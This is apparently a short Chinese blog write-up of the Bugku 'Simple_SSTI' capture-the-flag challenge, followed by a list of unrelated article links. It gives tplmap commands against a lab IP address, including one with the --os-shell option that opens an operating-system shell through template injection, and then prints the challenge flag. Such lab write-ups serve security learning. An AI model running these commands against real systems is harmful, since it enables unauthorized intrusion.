bugku学习5：Simple_SSTI

打开页面显示：

用kali的tplmap注入，进入tpl文件下寻找注入点：

python tplmap.py -u “http://114.67.246.176:11512//?flag=”

获取目的shell：

./tplmap.py -u ‘http://114.67.246.176:11512/?flag’ --os-shell

通过ls列出文件显示有flag文件

用cat打开：

最后
flag{040eee50f2fe6612ffc9acfb72fe40f7}

bugku学习5：Simple_SSTI_2（web）相关推荐

maven mybatis mysql_Java Web学习系列——Maven Web项目中集成使用Spring、MyBatis实现对MySQL的数据访问...
标签: 本篇内容还是建立在上一篇Java Web学习系列--Maven Web项目中集成使用Spring基础之上,对之前的Maven Web项目进行升级改造,实现对MySQL的数据访问. 添加依赖Ja ...
学习《Flask Web开发：基于Python的Web应用开发实战》分享
学习<Flask Web开发:基于Python的Web应用开发实战>分享一直在说学习Python,对同事,对朋友,都说我正在学习Python,这无形给自己一定的压力,促使自己要去学习,进步 ...
Python学习笔记：web开发3
前言最近在学习深度学习,已经跑出了几个模型,但Pyhton的基础不够扎实,因此,开始补习Python了,大家都推荐廖雪峰的课程,因此,开始了学习,但光学有没有用,还要和大家讨论一下,因此,写下这些帖 ...
Python学习笔记：web开发2
前言最近在学习深度学习,已经跑出了几个模型,但Pyhton的基础不够扎实,因此,开始补习Python了,大家都推荐廖雪峰的课程,因此,开始了学习,但光学有没有用,还要和大家讨论一下,因此,写下这些帖 ...
java 控制jsp_JSP学习之Java Web中的安全控制实例详解
普通用户界面修改登录的Servlet,修改后的代码如下: LoginProcess.java代码: package servlet; import javabean.User; import jav ...
学习和使用web标准的十大理由
如果你是一个新接触web标准这个概念并且还犹豫是否应该花时间去学习它的web开发者或者设计者,这里有一些让你去学习它的重要理由.对于已经使用web标准的web专业人士,当你需要很好的论据的时候这份清单 ...
JavaWeb学习笔记2 —— Web服务器简介
JavaWeb学习笔记2 -- Web服务器简介参考教程B站狂神https://www.bilibili.com/video/BV12J411M7Sj 相关技术 ASP: 微软:国内最早流行的就是A ...
Web Components 学习 01 认识 Web Components、一些组件库使用
什么是 Web Components 开发项目的时候为什么不手写原生 JS,而是要用现如今非常流行的前端框架,原因有很多,例如: 良好的生态数据驱动试图模块化组件化等 Web Componen ...
学习、应用Web标准一路走来——《重构之美》原创系列文章快速入口。
学习.应用Web标准一路走来--(为了方便朋友们浏览特此整理) 2008年发表部分--跨越() 重构之美外传-[独立于根:解析前年我的Web标准考题].(01-08 01:13) 重构之美-跨越Web ...
从零开始学习移动端Web开发
背景近年来,随着智能手机的普及,移动端开发受到了异常的关注.从传统的安卓.IOS原生手机系统应用开发,转向了移动端Web开发或者是混合开发,既然有需求,那就让我们一起来学习移动端Web开发吧.本文旨 ...

bugku学习5：Simple_SSTI_2（web）

bugku学习5：Simple_SSTI_2（web）相关推荐

最新文章

热门文章